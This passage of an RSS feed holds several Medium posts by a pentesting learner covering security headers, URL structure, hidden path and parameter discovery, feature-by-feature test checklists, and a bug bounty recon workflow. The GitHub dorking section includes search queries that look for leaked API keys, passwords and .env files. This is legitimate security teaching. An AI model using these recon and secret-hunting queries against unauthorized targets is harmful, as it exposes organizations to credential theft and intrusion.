session data</strong>.</p><p>HSTS helps prevent this by telling the browser: <strong><em>“Don’t use HTTP. Go directly to HTTPS.”</em></strong></p><p><strong>As a pentester:</strong> Check whether HSTS is present and properly configured on HTTPS websites.</p><p><strong>d) X-Frame-Options</strong></p><p>X-Frame-Options: DENY</p><p><strong>What does it mean?</strong></p><p>It tells the browser: <strong><em>“Don’t allow this website to be opened inside an iframe on another website.”</em></strong></p><p><strong>Why does it matter?</strong></p><p>It mainly protects against <strong>Clickjacking</strong>.</p><p><strong>Attack Example</strong></p><p>An attacker creates a fake website and secretly places your banking page inside an invisible iframe. The victim thinks they’re clicking: <strong><em>“Claim your prize!” </em></strong>But they’re actually clicking the bank’s <strong>“Transfer Money”</strong> button underneath.</p><p>Because the victim is already logged in, the action can be performed using their session. X-Frame-Options: DENY prevents the banking page from being embedded in the attacker’s website.</p><p><strong>As a pentester:</strong> Check whether sensitive pages can be loaded inside an iframe.</p><p><strong>(e) Referrer-Policy</strong></p><p>This header controls <strong>how much URL information the browser shares</strong> when a user visits another website.</p><p>For example:</p><p>Referer: <a href="https://example.com/profile?token=abc123">https://example.com/profile?token=abc123</a></p><p><strong>Why does it matter?</strong></p><p>The URL may contain sensitive information such as:</p><ul><li>Session tokens</li><li>Password reset tokens</li><li>Internal IDs</li></ul><p>If the full URL is sent to another website through the Referer header, that information could be leaked.</p><p><strong>Attack Example</strong></p><p>Imagine a password reset URL:</p><p><a href="https://example.com/reset?token=abc123">https://example.com/reset?token=abc123</a></p><p>If the page loads a third-party resource, the reset token could accidentally be sent to that third party through the Referer header.</p><p>A safer policy is:</p><p>Referrer-Policy: strict-origin-when-cross-origin</p><p>This limits what information is shared with other websites.</p><p><strong>As a pentester:</strong> Check whether sensitive information is present in URLs and whether the Referrer-Policy prevents it from leaking.</p><p>Security headers may look small, but they can add an important layer of protection to a web application.</p><p>As a pentester, don’t just check whether a header is present. <strong>Understand what protection it provides, whether it’s properly configured, and whether its absence can actually lead to an attack.</strong></p><p>If you found this article useful, feel free to connect with me on LinkedIn. <a href="https://www.linkedin.com/in/shrutishinde19/">https://www.linkedin.com/in/shrutishinde19/</a></p><p><strong>Happy Learning! 🔐</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25ec91881094" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Decoding a URL: Paths, Parameters, and the Art of Finding What’s Hidden]]></title>
            <link>https://medium.com/@shrutishinde1319/decoding-a-url-paths-parameters-and-the-art-of-finding-whats-hidden-087f3b420d4c?source=rss-85fdc83f6cda------2</link>
            <guid isPermaLink="false">https://medium.com/p/087f3b420d4c</guid>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <dc:creator><![CDATA[Shruti Vijay Shinde]]></dc:creator>
            <pubDate>Sat, 15 Aug 2026 14:54:16 GMT</pubDate>
            <atom:updated>2026-08-15T14:54:16.459Z</atom:updated>
            <content:encoded><![CDATA[<p>If you’re getting into bug bounty hunting or web security, the URL is where everything starts. Most people glance past it. But a URL is basically a map and maps have hidden rooms. Here’s how to read one properly, and how to find what it’s not showing you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U3EUrkDfW2uhqqs8ZDx3NQ.png" /></figure><p><strong>What Even Is a URL?</strong></p><p>A URL (Uniform Resource Locator) is just an address that tells a browser <em>where</em> to find a resource and <em>how</em> to get it. Under the hood, every domain resolves to an IP address the actual numeric location of a server on the internet (like 192.0.2.10). DNS is the phonebook that turns “example.com” into that IP so you don’t have to memorize numbers.</p><p><strong>A full URL looks like this:</strong></p><p><a href="https://blog.example.com/products/view?id=42&amp;ref=home#reviews">https://blog.example.com:443/products/view?id=42&amp;ref=home#reviews</a></p><p><strong>Let’s Break it down:</strong></p><ol><li><strong>Scheme — https:// — </strong>The scheme tells the browser <strong>which protocol to use when communicating with the server</strong>.</li></ol><p>A <strong>protocol is a set of rules that two or more systems follow to communicate with each other</strong>. These rules define how information should be sent, received, and understood.</p><p>In web communication, the two main protocols you’ll encounter are <strong>HTTP</strong> and <strong>HTTPS</strong>.</p><ul><li><strong>HTTP (Hypertext Transfer Protocol)</strong> — defines how a browser and web server communicate and exchange web resources.</li><li><strong>HTTPS (HTTP Secure)</strong> — uses HTTP together with <strong>TLS encryption</strong> to protect data while it travels between the browser and server.</li></ul><p>2. <strong>Subdomain</strong> — blog. — a prefix added before the main domain to identify a specific section, service, or application. For example, blog.example.com has blog as its subdomain.</p><p><strong>3. Domain</strong> — example.com — the human-readable name used to identify a website on the internet. Instead of remembering the server&#39;s IP address, we use a domain name like example.com to access it.</p><p><strong>4. Port</strong> — :443 — a numbered endpoint that tells the server which service should handle the connection. For example, <strong>443</strong> is commonly used for HTTPS and <strong>80</strong> for HTTP.</p><p><strong>5. Path</strong> — /products/view — shows which page, resource, or function you want to access on the website.</p><p><strong>6. Parameters</strong> — ?id=42&amp;ref=home — extra information sent to the website to control or customize what it returns.</p><p><strong>7. Fragment</strong> — #reviews — points to a specific section of a webpage and is handled by the browser, not sent to the server.</p><p><strong>Step 1: Mapping Domains and Subdomains</strong></p><p>Before looking at paths, let’s first understand <strong>where those paths exist</strong>. A single domain can have multiple subdomains, such as:</p><p>api.example.com, dev.example.com.</p><p>Each subdomain can host a different application, service, or environment. So, finding subdomains helps us understand the <strong>overall attack surface</strong> of the target.</p><p>I have already covered <strong>subdomain enumeration and the tools used to discover subdomains</strong> in detail in my previous article.</p><h4>Now What Does “Hidden” Actually Mean?</h4><p><strong>Hidden does not mean secure.</strong> When we say a path is “hidden,” we don’t mean it’s protected we mean it simply isn’t <em>linked </em>anywhere. There’s no button, no nav menu item, no “&lt;a href&gt;” pointing to it. But the application’s navigation is not the same thing as the application’s actual attack surface. The server doesn’t care whether a link exists; it only cares whether a request comes in and matches a route.</p><p>Examples: example.com/admin, example.com/api/v1/users.</p><p>None of these might appear anywhere in the website’s menus, footer, or JavaScript. A regular visitor clicking around would never stumble onto them. But if the route is still registered on the server, it’s live reachable by anyone who simply knows or guesses the path. That’s the entire premise behind brute-forcing with ffuf and dirsearch: you’re not hacking anything by requesting “/admin”, you’re just asking the server a question it happens not to advertise the answer to.</p><p>This is also why “hidden” endpoints are so common in real applications. Developers leave old versions around (“/old”, “/v1”), forget to remove test or debug routes (“/dev”, “/test”), or assume that because something isn’t linked, it’s effectively invisible. It rarely is.</p><p>One important distinction to hold onto: <strong>finding a hidden endpoint is not the same as finding a vulnerability.</strong> Discovering “example.com/api/v1/users” just tells you that route exists it doesn’t tell you it’s broken. What it does is expand your map. It gives you one more piece of the application to actually test.</p><h4>Step 2: Crawling and Discovering Paths</h4><p>Now that we understand what hidden paths are, the next question is:</p><p><strong>How do we find them?</strong></p><p>There are three tools I commonly use for this: <strong>Katana, ffuf, and Dirsearch</strong>. Each approaches path discovery a little differently.</p><h4>Katana — Discover what the application already exposes</h4><p><strong>Katana</strong> is a web crawler. It follows links, scripts, forms, and other references it can find within the application and collects the URLs it discovers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*N2cJrBYPSQQrnG8o0Ld0Bg.png" /></figure><p>Think of it as: <strong>“Show me the URLs that the application itself exposes.”</strong></p><h4>ffuf — Look for paths by guessing</h4><p><strong>ffuf</strong> can use a wordlist to replace FUZZ with different words and check which paths respond.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*27b0VjGwTItbNWaHbj4jDg.png" /></figure><p>Think of it as: <strong>“What paths might exist even though the application doesn’t show them?”</strong></p><h4>Dirsearch — Discover directories and files</h4><p><strong>Dirsearch</strong> is another tool for discovering hidden directories and files. It is particularly useful when you want to check different file extensions as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*zftBNopVcaRZ2q96ycxAHA.png" /></figure><p>You can also specify extensions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*TgFaI6x6shieasQWoe2kxA.png" /></figure><p><strong>Step 3: Understanding Parameters</strong></p><p>A parameter is a key-value pair passed to the server, usually to control behavior filtering results, setting a user ID, choosing a language, uploading a file reference. They live in the query string (`?id=42`), in POST bodies, in headers, and even in cookies.</p><p>Parameters matter because they’re <strong>user-controlled input reaching server-side logic </strong>— which makes them the prime real estate for issues like SQL injection, XSS, IDOR, and SSRF.</p><p>Finding hidden parameters is its own discipline, since many aren’t visible anywhere in the page source. Tools like “<strong>Arjun”</strong> or “<strong>ParamSpider”</strong> are built specifically for this they either fuzz common parameter names against an endpoint or mine historical URLs (via the Wayback Machine) to surface parameters the app has used in the past but doesn’t currently expose.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*FRJZzjnPNDbDZ3Ki03XVpA.png" /></figure><p>Once you know a parameter exists, the real work begins: understanding what it does, what input it accepts, and how the server handles unexpected values.</p><p>A URL may look like just a simple web address, but for a pentester, it can reveal a lot about how an application is structured.</p><p><strong>Don’t just collect URLs. Learn to read what they are telling you.</strong></p><p><em>Always perform security testing only on applications you own or are explicitly authorized to test, such as your own labs or an in-scope bug bounty program.</em></p><p>If you found this article useful and would like to connect, follow me on LinkedIn. I regularly share my <strong>cybersecurity learning journey, VAPT experiences, and practical web security content</strong>.</p><p>🔗 <strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/shrutishinde19/">https://www.linkedin.com/in/shrutishinde19/</a></p><p>Thanks for reading! 🔐</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=087f3b420d4c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reading a Website Like a Pentester: What to Test in Every Functionality]]></title>
            <link>https://medium.com/@shrutishinde1319/reading-a-website-like-a-pentester-what-to-test-in-every-functionality-6375f58ba8fe?source=rss-85fdc83f6cda------2</link>
            <guid isPermaLink="false">https://medium.com/p/6375f58ba8fe</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Shruti Vijay Shinde]]></dc:creator>
            <pubDate>Mon, 10 Aug 2026 07:18:07 GMT</pubDate>
            <atom:updated>2026-08-10T07:18:07.755Z</atom:updated>
            <content:encoded><![CDATA[<p>When a normal user opens a web application, they usually focus on what they can do with it search for a product, log in to an account, upload a file, reset a password, or update their profile.</p><p>A pentester looks at the same application differently.</p><p>Instead of only asking <strong>“What does this feature do?”</strong>, a pentester asks: <strong>“What could go wrong with this feature?”</strong></p><p>This is the mindset I want to focus on in this article.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*SyKniuMI2WiDAaj0UKZU7w.png" /></figure><p><strong>Before testing for vulnerabilities, learn to read the application.</strong></p><p>Every <strong>input, action, request, response, parameter, and workflow</strong> is an opportunity to ask a security question. The goal isn’t to memorize a list of vulnerabilities. The goal is to develop the habit of looking at a feature and immediately thinking: <strong>“What should I test here?”</strong></p><h3>1. Search Function</h3><h4>What a normal user sees: A search box.</h4><h4>What a pentester sees: An input controlled by the user.</h4><h4>Things to consider:</h4><ul><li>Reflected XSS</li><li>Stored XSS if searches are saved</li><li>SQL/NoSQL injection depending on backend</li><li>Command injection in unusual cases</li><li>Parameter manipulation</li><li>Excessive resource consumption / DoS risk</li><li>Search result access-control issues</li></ul><p>Example thought process:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*kw3UeDpUXJjFpMBoj2Nncg.png" /></figure><h3>2. Login Page</h3><p>Normal user: Enter username + password → Login</p><p>Pentester: What happens when I manipulate this process?</p><p>Things to consider:</p><ul><li>Authentication bypass, Weak password policy, Username enumeration, Brute-force protection, Rate limiting, Account lockout behavior, Session management</li></ul><p>Example scenario:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*JSRQBzYZS8vrSZ_32Opp0w.png" /></figure><p>If the application responds differently, it may reveal whether an account exists.</p><h3>3. Registration</h3><p>Think about:</p><ul><li>User enumeration, Weak password requirements, Duplicate account creation, Email verification bypass, Rate limiting, Parameter manipulation</li></ul><p>Example:</p><p>If registration accepts:</p><pre>role=user</pre><p>ask:</p><p>What happens if the role parameter is modified? This introduces <strong>privilege-related testing</strong> without going too deep.</p><h3>4. Forgot Password / Reset Password</h3><p>Check:</p><ul><li>User enumeration, Rate limiting, Reset token predictability, Token expiration, Token reuse, Token invalidation after password change, Host-header related issues where relevant, Password reset flow manipulation</li></ul><h4>Simple scenario:</h4><p>Request a password reset → receive token → use token.</p><p>Then ask: Is this token still valid after it has already been used? or Does the token expire?</p><h3>5. Profile / Account Settings</h3><p>Things to consider:</p><ul><li>IDOR / BOLA, Mass assignment, Stored XSS, CSRF, Unauthorized modification, Sensitive information exposure.</li></ul><h3>6. File Upload</h3><p>Normal user: Upload profile picture.</p><p>Pentester: What exactly does the server validate?</p><p>Consider:</p><ul><li>File type validation, Extension validation, MIME validation, File size limits, Filename handling, Storage location, Access control, Malicious file handling, Path traversal.</li></ul><h3>7. API Endpoints</h3><p>This deserves its own section because modern websites heavily depend on APIs.</p><p>Pentester questions:</p><ul><li>Can I access another user’s object?</li><li>Does the API enforce authorization?</li><li>Can I modify parameters?</li><li>Are sensitive fields exposed?</li><li>Are HTTP methods properly restricted?</li><li>Is rate limiting implemented?</li><li>Can requests be replayed?</li></ul><h3>8. Download Functionality</h3><p>For: Download invoice</p><p>Think:</p><ul><li>IDOR/BOLA, Path traversal, Unauthorized file access, Sensitive information exposure, Filename manipulation</li></ul><p>Example:</p><pre>/download?id=123</pre><p>Ask: What happens if I change the ID?</p><h3>9. Contact / Feedback Form</h3><p>This is another good one because it’s often overlooked.</p><p>Think about:</p><ul><li>Stored XSS, Reflected XSS, HTML injection, Email/header injection where applicable, CSRF, Rate limiting, Sensitive information leakage.</li></ul><p>The functionalities discussed above are only a few common examples. Real-world web applications can contain dozens of other features, and each may introduce different security concerns.</p><p>To keep this article focused, rather than explaining every functionality in detail, the table below summarizes some additional areas that a pentester should consider during a web application security assessment.</p><ul><li><strong>Comments / Reviews</strong> — Stored XSS, HTML Injection, Authorization</li></ul><p>• <strong>Change Password</strong> — Authentication, CSRF, Session Management</p><p>• <strong>Logout</strong> — Session Invalidation</p><p>• <strong>Admin Panel</strong> — Privilege Escalation, Broken Access Control</p><p>• <strong>User Management</strong> — IDOR / BOLA, Privilege Escalation</p><p>• <strong>Notifications</strong> — IDOR, XSS, Information Disclosure</p><p>• <strong>Email Verification</strong> — Token Security, Workflow Bypass</p><p>• <strong>Invitation System</strong> — Authorization, Token Security, Rate Limiting</p><p>• <strong>Checkout / Cart</strong> — Business Logic, Price Manipulation, Authorization</p><p>• <strong>Payment Functions</strong> — Business Logic, Parameter Tampering, Replay Attacks</p><p>• <strong>API Documentation / Swagger</strong> — Endpoint Discovery, Authorization, Information Exposure</p><p>• <strong>WebSockets / Real-time Features</strong> — Authentication, Authorization, Input Validation</p><p>• <strong>Export / Reports</strong> — Authorization, Sensitive Data Exposure</p><p>• <strong>Password-Protected Actions</strong> — Reauthentication, Authorization</p><ul><li><strong>Account Deletion</strong> — Authorization, CSRF, Business Logic</li></ul><p>Web application security is not just about knowing vulnerability names or memorizing payloads. It is about developing the mindset to look at an application from an attacker’s perspective.</p><p>If you found this article useful or would like to connect and discuss cybersecurity, you can find me on</p><p>LinkedIn: <a href="https://www.linkedin.com/in/shrutishinde19/">https://www.linkedin.com/in/shrutishinde19/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6375f58ba8fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnerability Assessment for Penetration Testing & Bug Bounty (Part 2): Deep Recon, Endpoint…]]></title>
            <link>https://medium.com/@shrutishinde1319/vulnerability-assessment-for-penetration-testing-bug-bounty-part-2-deep-recon-endpoint-b66a9c0cb6f5?source=rss-85fdc83f6cda------2</link>
            <guid isPermaLink="false">https://medium.com/p/b66a9c0cb6f5</guid>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[testing-workflow]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Shruti Vijay Shinde]]></dc:creator>
            <pubDate>Mon, 03 Aug 2026 11:14:33 GMT</pubDate>
            <atom:updated>2026-08-08T09:51:37.406Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Vulnerability Assessment for Penetration Testing &amp; Bug Bounty (Part 2): Deep Recon, Endpoint Discovery &amp; Hidden Assets</strong></h3><p>In <strong>Part 1</strong>, we built the foundation of our reconnaissance workflow. Starting with a single target domain, we discovered subdomains, expanded the attack surface using AlterX, validated them with PureDNS, and finally identified live web applications using HTTPX.</p><p>By the end of Part 1, we had one important file:</p><p><strong>active-subdomains.txt</strong></p><p>This isn’t just another output file it’s the list of live web applications that we’ll use throughout the rest of our reconnaissance process.</p><p>Now it’s time to dig deeper.</p><p>In this article, we’ll go beyond basic reconnaissance and start uncovering the hidden parts of an application that aren’t visible from the homepage. We’ll discover hidden endpoints, analyze JavaScript files, explore archived URLs, and gather everything needed before moving into vulnerability testing.</p><p>Let’s get started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rGLjwFOJUtm3z0te9i26sw.png" /></figure><h3>Step 11 — Crawling Live Applications with Katana</h3><p>After identifying the live web applications, the next step is to <strong>crawl them</strong>. The goal here is to discover as many URLs, endpoints, JavaScript files, forms, and API routes as possible.</p><p>For this, I use <strong>Katana</strong>, one of my go-to crawling tools. It helps map the application’s structure by following links and collecting hidden resources that aren’t always visible during manual browsing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*MgrY9qBBsBUfjc3dGgD4LA.png" /></figure><h3>Step 12 — JavaScript Discovery &amp; Analysis</h3><p>JavaScript files are one of the most valuable sources of information during reconnaissance. Developers often expose endpoints, API routes, third-party integrations, and sometimes even sensitive information inside client-side JavaScript.</p><p>Instead of checking each file manually, I first extract all JavaScript URLs from the Katana output and then analyze them using tools like <strong>SecretFinder</strong> and <strong>LinkFinder</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*MWDXds33aI3JzwvgeEHr5g.png" /></figure><h3>Step 13 — Mining Historical URLs</h3><p>Not every interesting endpoint is linked on the current version of a website. Sometimes developers remove pages or APIs, but they still remain archived by search engines and the Wayback Machine.</p><p>To discover these hidden or forgotten endpoints, I use <strong>waybackurls</strong>. It collects historical URLs associated with the target domain, helping me expand the attack surface beyond what’s currently visible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*gZW1cxUE6FCKxV3mwDdarA.png" /></figure><p>The output often contains:</p><ul><li>Old API endpoints</li><li>Archived admin panels</li><li>Backup files</li><li>Legacy application paths</li><li>Previous versions of JavaScript files</li></ul><h3>Step 14 — Extracting Parameters for Attack Surface</h3><p>At this stage, we have a large collection of URLs gathered from Katana and Waybackurls. However, not all of them are equally interesting. I like to extract only the URLs that contain parameters because they’re often the most promising targets for manual testing.</p><p><strong>First, combine all the collected URLs:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*7Mn43JB6Er7y125YMswCnQ.png" /></figure><p><strong>Then extract only parameterized URLs:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*vacDnQOTyr39RTwU1bXQfA.png" /></figure><p>The resulting parameters.txt file contains URLs such as:</p><p><a href="https://target.com/search?q=test">https://target.com/search?q=test</a></p><p><a href="https://target.com/profile?id=123">https://target.com/profile?id=123</a></p><p><a href="https://target.com/download?file=report.pdf">https://target.com/download?file=report.pdf</a></p><p>These endpoints become excellent candidates for testing vulnerabilities like:</p><ul><li>Cross-Site Scripting (XSS)</li><li>SQL Injection (SQLi)</li><li>IDOR</li><li>Server-Side Request Forgery (SSRF)</li><li>Open Redirect</li></ul><h3>Step 15 — Fuzzing for Hidden Paths</h3><p>Not every endpoint is linked from the application’s pages. Developers often leave behind hidden directories, API routes, admin panels, staging environments, or backup files that can only be discovered through fuzzing.</p><p>For this, I use <strong>FFUF (Fuzz Faster U Fool)</strong> along with a wordlist to send requests to common paths and identify hidden content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*uVTfYEAvRGl_I8C_AMtFWg.png" /></figure><p>FFUF can help discover:</p><ul><li>Hidden directories</li><li>Admin panels</li><li>Backup files</li><li>API endpoints</li></ul><h3>Step 16 — Discovering Hidden Directories with Dirsearch</h3><p>Even after crawling the application and fuzzing for hidden paths, there may still be directories and files that haven’t been discovered. To perform a more thorough search, I use <strong>Dirsearch</strong>.</p><p>Dirsearch recursively scans for hidden directories and files using a wordlist, making it useful for uncovering forgotten resources that could expand the attack surface.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*Wp7ln89jLVaUmD7l4yChiQ.png" /></figure><p>That brings us to the end of this two-part series.</p><p>From a single target domain, we’ve built a complete reconnaissance workflow from identifying technologies and discovering subdomains to validating live assets, crawling applications, analyzing JavaScript, mining historical URLs, extracting parameters, and uncovering hidden paths.</p><p>I hope this guide helps you build a stronger foundation for your security assessments.</p><p>If you found this series helpful, consider <strong>following me on Medium</strong> for more practical write-ups on <strong>VAPT, Web Application Security, and Bug Bounty</strong>.</p><p>You can also <strong>connect with me on LinkedIn</strong> to stay updated with my latest articles and cybersecurity content: <a href="https://www.linkedin.com/in/shrutishinde19/"><strong>https://www.linkedin.com/in/shrutishinde19/</strong></a></p><p>Thank you for reading, and <strong>Happy Hunting! 🚀</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b66a9c0cb6f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnerability Assessment for VAPT & Bug Bounty (Part 1): Building a Strong Recon Foundation]]></title>
            <link>https://medium.com/@shrutishinde1319/vulnerability-assessment-for-vapt-bug-bounty-part-1-building-a-strong-recon-foundation-dd9d13186b66?source=rss-85fdc83f6cda------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd9d13186b66</guid>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-boun]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[reconnaissance]]></category>
            <dc:creator><![CDATA[Shruti Vijay Shinde]]></dc:creator>
            <pubDate>Tue, 21 Jul 2026 10:18:04 GMT</pubDate>
            <atom:updated>2026-07-21T10:18:04.074Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*5gLB1yU5a8tYa5kVSq5KpQ.png" /></figure><p>Six months ago, I started learning cybersecurity with very little practical knowledge. During my VAPT internship, I realized that finding vulnerabilities isn’t just about running tools or exploiting bugs it all starts with understanding the target.</p><p>In this blog, I’ll share the workflow, tools, and techniques I learned and used during my six-month journey. If you’re just starting with VAPT or bug bounty, I hope this helps you build a strong foundation.</p><p><strong>This guide is split into two parts to keep things simple and easy to follow.</strong> In this part, we’ll focus on the foundations of Vulnerabilit<strong>y </strong>Assessment and some reconnaissance steps</p><p>When I first started learning cybersecurity, I used to think <strong>Vulnerability Assessment (VA)</strong>, <strong>Penetration Testing (PT)</strong>, and <strong>Bug Bounty</strong> all meant the same thing. They don’t.</p><p>Here’s the easiest way to think about them:</p><ul><li><strong>Vulnerability Assessment (VA):</strong> Finding and understanding potential security issues. You’re exploring the target, mapping the attack surface, and identifying what deserves a closer look.</li><li><strong>Penetration Testing (PT):</strong> Taking those findings a step further by safely validating and exploiting selected vulnerabilities to understand their real-world impact.</li><li><strong>Bug Bounty:</strong> Similar skills, but instead of testing a client application, you’re hunting for vulnerabilities in public programs while staying within the program’s scope.</li></ul><p><strong>Note:</strong> Only perform these techniques on systems you’re authorized to test, such as client engagements or assets included in a bug bounty program’s scope.</p><h3>Step 1 — Check Security Headers</h3><p>I always start by checking the application’s security headers. It’s a quick step, but it gives me an idea of how well the application is configured from a security perspective.</p><p>Missing headers aren’t vulnerabilities by themselves, but they can point to weaker security practices. For example, a missing <strong>Content-Security-Policy (CSP)</strong> can make an XSS vulnerability much more dangerous.</p><p>Visit to check Missing Security Headers — <a href="https://securityheaders.com/">https://securityheaders.com/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*rgAUMcRNBCNh-wFGFlsHnw.png" /></figure><p><strong>Step 2 — Explore the Application Manually</strong></p><p>Before using any automated tools, I spend a few minutes exploring the application like a normal user. This helps me understand how it works and often reveals features that scanners miss.</p><p>I usually test:</p><ul><li>Login and Registration</li><li>Forgot Password</li><li>Search functionality</li><li>File Upload</li><li>Contact Forms</li><li>User Profile and Settings</li></ul><p>As I go through each feature, I ask myself, <strong>“What could go wrong here?”</strong></p><h3>Step 3 — Learn About the Company</h3><p>Before testing a target, I like to learn a little about the company behind it. Many organizations own multiple products, subsidiaries, or acquired companies, which can significantly expand the attack surface.</p><p>I usually check platforms like <strong>Crunchbase</strong>, <strong>Owler</strong>, the company’s official website, and even <strong>LinkedIn</strong> to identify other products or services that might be in scope. This simple step has helped me discover additional assets that I would have otherwise overlooked.</p><h3>Step 4 — Google Dorking</h3><p>Google can reveal much more than just a company’s homepage. I use <strong>Google Dorking</strong> to look for publicly accessible files, admin panels, backup files, documents, and other information that shouldn’t be exposed.</p><p>💡 <strong>Tip:</strong> If you’re new to Google Dorking, you don’t have to memorize dozens of search queries. I recommend checking out <strong>TakSec’s Google Dorks for Bug Bounty</strong> collection, which contains a well-organized list of useful dorks for reconnaissance:</p><p><a href="https://taksec.github.io/google-dorks-bug-bounty/">Google Dorks for Bug Bounty</a></p><h3>Step 5 — GitHub Dorking</h3><p>GitHub is one of my favorite places for reconnaissance. Developers sometimes accidentally expose API keys, internal URLs, configuration files, or even sensitive information in public repositories.</p><p>I usually search using the company name, domain, or GitHub organization to look for anything that could reveal additional information about the target.</p><p>Some common searches I use are:</p><p>“target.com” api_key</p><p>“target.com” password</p><p>filename:.env “target.com”</p><h3>Step 6 — Identify the Technology Stack</h3><p>Before testing an application, I like to know <strong>what technologies it’s built with</strong>. Knowing whether the target uses WordPress, React, Laravel, Apache, or Nginx helps me understand what to look for and which vulnerabilities might be relevant.</p><p>For this, I usually use tools like <strong>Wappalyzer</strong>, <strong>WhatWeb</strong>, or <strong>BuiltWith</strong> to quickly identify the technologies running behind the application.</p><p>Once I know the tech stack, I check whether any of the identified technologies have known vulnerabilities or publicly available exploits. This helps me focus my testing instead of guessing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*hYiG0I9A8J2tmZqyjs8sZg.png" /></figure><p>If I want more detailed information from the terminal, I use <strong>WhatWeb</strong>, which fingerprints the web application and identifies technologies such as the web server, CMS, frameworks, programming languages, and more</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*o6jRrjqp-28yRVQaOmow4A.png" /></figure><p><strong>Step 7 — Discover Subdomains</strong></p><p>Once I’ve gathered enough information about the target, the next step is to discover as many subdomains as possible. In my experience, some of the most interesting findings don’t come from the main website — they’re often hidden in forgotten or less frequently used subdomains.</p><p>Instead of relying on a single tool, I use multiple subdomain enumeration tools because each one uses different data sources and can discover unique results. The tools I commonly use are:</p><ul><li><strong>Subfinder</strong> — Fast and one of my go-to tools for passive subdomain enumeration.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*_b1qApo3cooLfHQacJGKsw.png" /></figure><ul><li><strong>Assetfinder</strong> — Finds additional subdomains from various public sources.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*xlXlh02yDF64c53SSCedCw.png" /></figure><ul><li><strong>Findomain</strong> — Quick and effective at discovering subdomains using multiple online APIs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*MZI_Kz-rput5hdg4dxVhGw.png" /></figure><ul><li><strong>Sublist3r</strong> — Searches several search engines and public sources for subdomains.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Zxd3uGoJb3ZFEB_-PQlV5Q.png" /></figure><ul><li><strong>Amass (Passive Mode)</strong> — Performs comprehensive passive enumeration using multiple data sources.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*oxYfQGLcXyRqiHn_8qwsiA.png" /></figure><p>Performs comprehensive passive enumeration using multiple data sources.</p><p>Since Amass may include additional information in its output, I like to extract only the unique subdomains before merging them with the results from the other tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*i8FqawgdvqrVAWqpUo4_UA.png" /></figure><p>After collecting the results from all the tools, I merge them into a single file and remove duplicate entries to create one clean list of unique subdomains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*H6jzICbR9VLxmVtQwciQyQ.png" /></figure><h3>Step 8 — Expand Your Attack Surface with AlterX</h3><p>After combining all the unique subdomains we’ve discovered, the next step is to see if we can uncover even more hidden assets.</p><p>This is where <strong>AlterX</strong> comes in. Instead of searching the internet for new subdomains, AlterX uses <strong>our existing subdomain list as input</strong> and generates new, likely subdomain combinations based on common naming patterns.</p><p>For example, if our list contains:</p><p>api.target.com</p><p>dev.target.com</p><p>mail.target.com</p><p>AlterX can generate new permutations such as:</p><p>admin.target.com</p><p>staging.target.com</p><p>test.target.com</p><p>api-dev.target.com</p><figure><img alt="" 